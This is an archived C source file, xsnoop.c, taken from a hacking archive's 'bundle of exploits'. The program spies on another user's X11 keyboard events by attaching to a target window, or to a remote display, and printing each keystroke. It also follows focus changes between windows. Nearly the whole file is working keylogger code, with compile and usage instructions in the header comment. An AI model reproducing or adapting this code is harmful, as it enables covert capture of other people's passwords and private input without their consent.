home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / xsnoop.c < prev    next >
Text File  |  1998-07-17  |  4KB  |  234 lines

  1. /* xsnoop - spy on another's keyboard events
  2.  * by:        Peter Shipley [copyright 1989]
  3.  * compile:    cc -O xsnoop.c -o xsnoop -lX11
  4.  * use:        xsnoop Windowid
  5.  *
  6.  *    Windowid        in decimal
  7.  *    -w Windowid        in decimal
  8.  *     -h Windowid        in hex
  9.  *     -d name_of_display
  10.  *     -u             look for key press events instead of key up
  11.  *     -f             report focus events
  12.  *
  13.  * see xwininfo(1) or xterm env. var. WINDOWID for window ID number
  14.  */
  15.  
  16. #include <stdio.h>
  17. #include <ctype.h>
  18. #include <X11/keysym.h>
  19. #include <X11/Xlib.h>
  20. #include <X11/vroot.h>
  21. #define VROOT
  22.  
  23. #ifndef lint
  24. char *copyright = "@(#) Copyright(c) 1988 Peter Shipley  [HACKMAN].\n\
  25.     All rights reserved.\n";
  26. #endif not lint
  27.  
  28. #define EVER ;;
  29.  
  30. char *ProgramName;
  31. void exit();
  32. void setbuf();
  33.  
  34. static Window GetCurrWindow( /*display*/);
  35.  
  36. static void usage ()
  37. {
  38.     (void) fprintf(stderr,
  39.     "usage: %s ([-w] Windowid | -h 0xWindowid) [-u] [-f] [-F] [-d displayname]\n",
  40.             ProgramName);
  41.     exit (1);
  42. }
  43.  
  44. main (argc, argv)
  45.     int argc;
  46.     char **argv;
  47. {
  48.     char *displayname = NULL;
  49.     int i;
  50.     Window w = (Window) NULL;
  51.     Display *dpy;
  52.     int etype = KeyRelease;
  53.     int f=0;
  54.     int follow=0;
  55.  
  56.     ProgramName = argv[0];
  57.  
  58.     for (i = 1; i < argc; i++) {
  59.     char *arg = argv[i];
  60.  
  61.     if (arg[0] == '-') {
  62.         switch (arg[1]) {
  63.           case 'd':            /* -display host:dpy */
  64.         if (++i >= argc) usage ();
  65.         displayname = argv[i];
  66.         continue;
  67.  
  68.           case 'F':            /* get current  window focus */
  69.         follow++;
  70.         continue;
  71.  
  72.           case 'f':            /* -f  report focus events */
  73.         f = 1;
  74.         continue;
  75.  
  76.           case 'u':            /* -u  use keyPress events */
  77.         etype =  KeyPress;
  78.         continue;
  79.  
  80.           case 'h':            /* -h WindowId_in_hex */
  81.         if (++i >= argc) usage ();
  82.         w = atoi(argv[i]);
  83.         /* (void) sscanf(argv[i], "0x%lx", &w); */
  84.         continue;
  85.  
  86.           case 'w':            /* -w WindowId_in_decimal */
  87.         if (++i >= argc) usage ();
  88.         w = atoi(argv[i]);
  89.         continue;
  90.  
  91.           default:
  92.         usage ();
  93.         }                /* end switch on - */
  94.     } else 
  95.       w = atoi(argv[i]);
  96.     }                    /* end for over argc */
  97.  
  98.     if(w == (Window) NULL && !follow ) usage ();
  99.  
  100.     setbuf(stdout, (char *) NULL);
  101.  
  102.     if ((dpy = XOpenDisplay(displayname)) == NULL) {
  103.     (void) fprintf (stderr, "%s:  unable to open display '%s'\n",
  104.          ProgramName, XDisplayName (displayname));
  105.     exit (1);
  106.     }
  107.  
  108.     if(follow) {
  109.     w = GetCurrWindow(dpy);
  110.     }
  111.  
  112.     XSelectInput(dpy, w, FocusChangeMask|KeyPressMask|KeyReleaseMask);
  113.  
  114.     (void) printf ("Window is 0x%lx, (%ld)\n", w, w);
  115.  
  116.     for (EVER) {
  117.     XEvent event;
  118.  
  119.     XNextEvent (dpy, &event);
  120.  
  121.     if(event.type == etype) {
  122.         char str[256+1];
  123.         KeySym ks;
  124.         char *ksname;
  125.         int c;
  126.  
  127.         c = XLookupString ((XKeyEvent *)&event, str, 256, &ks, NULL);
  128.  
  129.         if(isprint(str[0]) && c != 0) {
  130.         /* (void) fputs(str, stdout); */
  131.         (void) fputc(*str, stdout);
  132.         continue;
  133.         }
  134.  
  135.         switch(ks) {
  136.  
  137.         case(XK_Linefeed):
  138.         case(XK_Return):
  139.             (void) fputc('\n', stdout);
  140.             continue;
  141.  
  142.  
  143.         case(XK_Shift_L):
  144.         case(XK_Shift_R):
  145.             continue;
  146.  
  147.         case(XK_BackSpace):
  148.         case(XK_Delete):
  149.             (void) fputc('\b', stdout);
  150.             continue;
  151.  
  152.         default:
  153.             if (ks == NoSymbol)
  154.             ksname = "NoSymbol";
  155.             else if (!(ksname = XKeysymToString (ks)))
  156.             ksname = "no name";
  157.         }
  158.  
  159.         (void) printf("[%s]",  ksname);
  160.     }
  161.  
  162.     if( f &&  (event.type == FocusIn) ) {
  163.         (void) fputs("[FocusIn Event]", stdout);
  164.     }
  165.  
  166.     if( f &&  (event.type == FocusOut) ) {
  167.         (void) fputs("[FocusOut Event]", stdout);
  168.     }
  169.  
  170.     if( follow &&  (event.type == FocusOut)) {
  171.         char *name;
  172.         Window wind;
  173.         XSelectInput(dpy,
  174.             wind = GetCurrWindow(dpy),
  175.             FocusChangeMask|KeyPressMask|KeyReleaseMask);
  176.         if (!XFetchName(dpy, wind, &name) || !name) {
  177.             (void) fputs("[{no name}]", stdout);
  178.         } else {
  179.             (void) printf("[{%s}]", name);
  180.         }
  181.         continue;
  182.  
  183.     }
  184.  
  185.     }
  186. }
  187.  
  188. static Window
  189. GetCurrWindow(d)
  190. Display *d;
  191. {
  192. Window foo;
  193. Window win;
  194. int bar;
  195.  
  196.     do{
  197.     (void) XQueryPointer(d, DefaultRootWindow(d), &foo, &win,
  198.         &bar, &bar, &bar, &bar, &bar);
  199.     } while(win <= 0);
  200.  
  201.  
  202. #ifdef VROOT
  203.     {
  204.     int n;
  205.     Window *wins;
  206.     XWindowAttributes xwa;
  207.  
  208.     (void) fputs("=xwa=", stdout);
  209.  
  210.     /* do{  */
  211.         XQueryTree(d, win, &foo, &foo, &wins, &n);
  212.     /* } while(wins <= 0); */
  213.     bar=0;
  214.     while(--n >= 0) {
  215.         XGetWindowAttributes(d, wins[n], &xwa);
  216.         if( (xwa.width * xwa.height) > bar) {
  217.         win = wins[n];
  218.         bar = xwa.width * xwa.height;
  219.         }
  220.         n--;
  221.     }
  222.     XFree(wins);
  223.     }
  224. #endif
  225.     return(win);
  226. }
  227.  
  228. void exit(i)
  229. int i;
  230. {
  231.     printf("exit = %d\n", i);
  232.     abort();
  233. }
  234.